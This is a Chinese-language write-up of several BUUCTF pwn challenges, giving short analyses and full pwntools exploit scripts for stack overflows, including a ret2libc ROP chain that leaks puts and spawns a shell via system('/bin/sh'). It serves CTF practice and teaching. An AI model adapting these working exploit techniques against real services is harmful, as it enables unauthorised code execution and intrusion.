pwn难啊

1、test_your_nc

测试你nc,不用说,连上就有。

2、rip

ida中已经包含了system函数:

溢出,覆盖rip为fun函数,peda计算偏移为23:

  1. from pwn import *
  2.  
  3. #context.update(arch = 'i386', os = 'linux', timeout = 1)
  4.  
  5. p = remote('node3.buuoj.cn',27146)
  6. #p = process('./pwn1')
  7.  
  8. flag_addr = 0x40118A
  9. payload = 0xf*'a' +'a'*8 + p64(flag_addr)
  10.  
  11. #print p.recv()
  12. p.sendline(payload)
  13. p.interactive()

3、warmup_csaw_2016

ida中,可以看到,存在溢出

使用peda计算偏移为72

  1. from pwn import *
  2.  
  3. #context.update(arch = 'i386', os = 'linux', timeout = 1)
  4.  
  5. p = remote('node3.buuoj.cn',29050)
  6. #p = process('./warmup_csaw_2016')
  7.  
  8. catflag_addr = 0x40060d
  9.  
  10. payload = 'A'*72 + p64(catflag_addr)
  11.  
  12. #print p.recv()
  13. p.sendline(payload)
  14.  
  15. p.interactive()

exp

4、pwn1_sctf_2016

先check一下文件

文件开启了NX。使用ida查看:

程序功能:将输入的所有的‘I’转化为you,然后输出“So,[输入]”

在fgets处,对输入的s进行了限制,不能溢出。但是在strcpy函数中,未对s进行限制,v0对输入的I进行变换后:V0长度=I的个数*3。

输入的I的长度最多为32,那么V0最长为32*3=96,远大于3C(60),可以进行溢出,需要3C+4 = 64位 = 21个‘I’ + 1个‘A’

  1. from pwn import *
  2.  
  3. #context.update(arch = 'i386', os = 'linux', timeout = 1)
  4.  
  5. p = remote('node3.buuoj.cn',29641)
  6. #p = process('./pwn1_sctf_2016')
  7. #p = remote('xxxxx',xxxx)
  8.  
  9. catflag_addr = 0x8048f0d
  10.  
  11. payload = 21*'I' +'A'+ p32(catflag_addr)
  12.  
  13. #print p.recvuntil('yourself:')
  14. p.sendline(payload)
  15.  
  16. p.interactive()

exp

5、ciscn_2019_c_1

先check一下,开启了Nx和Relro

ida中为找到system函数和‘/bin/sh’等字符,需要利用ROP和LibcSearcher库查找libc

在encrypt()函数中发现gets函数,这个是一个溢出点

可以通过溢出puts函数,泄露出puts函数的地址,找到libc,计算出system和'/bin/sh'的地址,然后执行system(‘/bin/sh’)

注意encryt()函数会修改我们的payload,所以第一位用'\0'避开。

偏移为:0x50+8

  1. 1 #!python
  2. 2 #coding:utf-8
  3. 3
  4. 4 from pwn import *
  5. 5 from LibcSearcher import *
  6. 6
  7. 7 context.log_level = 'debug'
  8. 8 context.arch = 'amd64'
  9. 9
  10. 10 elf = ELF('./ciscn_2019_c_1')
  11. 11 puts_got = elf.got['puts']
  12. 12 puts_plt = elf.plt['puts']
  13. 13 main_addr = elf.sym['main']
  14. 14 ret = 0x4006b9
  15. 15 pop_rdi = 0x400c83
  16. 16 sh = 0
  17. 17 lib = 0
  18. 18
  19. 19
  20. 20 def main(ip,port,debug):
  21. 21 global sh
  22. 22 global lib
  23. 23 if debug == 1:
  24. 24 sh = process('./ciscn_2019_c_1')
  25. 25 else:
  26. 26 sh = remote(ip,port)
  27. 27
  28. 28 sh.sendlineafter('choice!\n','1')
  29. 29 payload = '\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
  30. 30 sh.sendlineafter('encrypted\n',payload)
  31. 31 sh.recvline()
  32. 32 sh.recvline()
  33. 33 puts = u64(sh.recvuntil('\n')[:-1].ljust(8,'\0'))
  34. 34 libc = LibcSearcher('puts',puts)
  35. 35 libcbase = puts - libc.dump('puts')
  36. 36 binsh = libcbase + libc.dump('str_bin_sh')
  37. 37 sys_addr = libcbase + libc.dump('system')
  38. 38 sh.sendlineafter('choice!\n','1')
  39. 39 payload2 = '\0'+'a'*(0x50-1+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
  40. 40 sh.sendlineafter('encrypted\n',payload2)
  41. 41 sh.interactive()
  42. 42
  43. 43 if __name__ == '__main__':
  44. 44
  45. 45 main('node3.buuoj.cn',27020,0)

exp

6、ciscn_2019_n_1

先check一下,开启了NX和RELRO

查看字符串,能看到,或许是和flag相关

可以看到危险函数gets,存在溢出,可以通过v1覆盖v2的值从而执行system函数获取flag

通过跟随。可以知道11.28125地址为:0x41348000,偏移为:0x2c

  1. from pwn import *
  2.  
  3. #context.update(arch = 'i386', os = 'linux', timeout = 1)
  4.  
  5. p = remote('node3.buuoj.cn',26929)
  6. #p = ('./ciscn_2019_n_1')
  7.  
  8. v2_addr = 0x41348000
  9.  
  10. payload = 0x2c*'a' + p64(v2_addr)
  11.  
  12. print p.recv()
  13. p.sendline(payload)
  14.  
  15. p.interactive()

exp

7、ciscn_2019_en_2

同上5

待续。。。。

buuctf pwn wp---part1的更多相关文章

  1. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  2. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  3. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  4. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  7. [BUUCTF]PWN——[V&N2020 公开赛]easyTHeap

    [V&N2020 公开赛]easyTHeap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,常见的堆的菜单 64位ida载入,main函数 最多只能申请7个ch ...

  8. [BUUCTF]PWN——babyfengshui_33c3_2016

    babyfengshui_33c3_2016 附件 步骤: 例行检查,32位程序,开启了cannary和nx 本地运行一下看看大概的情况,熟悉的堆的菜单布局 32位ida载入,看main函数 add ...

  9. [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

    roarctf_2019_easy_pwn 附件 步骤: 例行检查,64位程序,保护全开 试运行一下程序,看看大概的情况,经典的堆块的菜单 64位ida载入,改了一下各个选项的函数名,方便看程序(按N ...

  10. [BUUCTF]PWN——[ZJCTF 2019]EasyHeap

    [ZJCTF 2019]EasyHeap 附件 步骤: 例行检查,64位程序 试运行一下看看程序大概执行的情况,经典的堆块的菜单 64位ida载入,首先检索字符串,发现了读出flag的函数 看一下每个 ...

随机推荐

  1. mysql 8.0.18 小白安装教程

    1. 下载 官网下载:https://dev.mysql.com/downloads/mysql/ 嫌官网网速慢可以加q群,在群文件里下载: 1.下载第一个download 2.解压在自己建的目录(各 ...

  2. Anno&Viper -分布式锁服务端怎么实现

    1.Anno简介 Anno是一个微服务框架引擎.入门简单.安全.稳定.高可用.全平台可监控.依赖第三方框架少.底层通讯RPC(Remote Procedure Call)采用稳定可靠经过无数成功项目验 ...

  3. 微软YARP初体验

    本文讨论了微软的反向代理--YARP.YARP是一个可以创建高性能.高度可定制的反向代理服务器的类库.那么什么是反向代理呢?反向代理是位于用户与目标服务器之间的中间连接点.它接收初始的HTTP连接请求 ...

  4. linux系统的认识

    当使用其他工具连接linux系统时的常用命令. 连接:ssh 用户名@ip 进入根目录:cd /            (一般都是先进入根目录然后才能进入其他文件夹) 进入其他文件夹:cd /home ...

  5. 通过CollectionUtils工具类判断集合是否为空,通过StringUtils工具类判断字符串是否为空

    通过CollectionUtils工具类判断集合是否为空 先引入CollectionUtils工具类: import org.apache.commons.collections4.Collectio ...

  6. (数据科学学习手札109)Python+Dash快速web应用开发——静态部件篇(中)

    本文示例代码已上传至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 这是我的系列教程Python+Dash快速web ...

  7. Django Static与Media

    关于Django中Static和Media的设置问题(尤其是css和js静态文件加载的问题),网上有很多回答,但是发现有相当一部分回答并不能解决问题.有的可能是Django版本问题,有的是把media ...

  8. PUToast - 使用PopupWindow在Presentation上模拟Toast

    PUToast Android10 (API 29) 之前 Toast 组件默认只能展示在主 Display 上,PUToast 通过构造一个 PopupWindoww 在 Presentation ...

  9. YSU小吃街

    贪心贪不过,暴力搜就完事了 注意不连通情况 #include<iostream> #include<sstream> #include<cstdio> #inclu ...

  10. add_header被覆盖 -配置错误

    Nginx的配置文件分为Server.Location.If等一些配置块,并且存在包含关系,和编程语言比较类似.如果在外层配置的一些选项,是可以被继承到内层的. 但这里的继承也有一些特性,比如add_ ...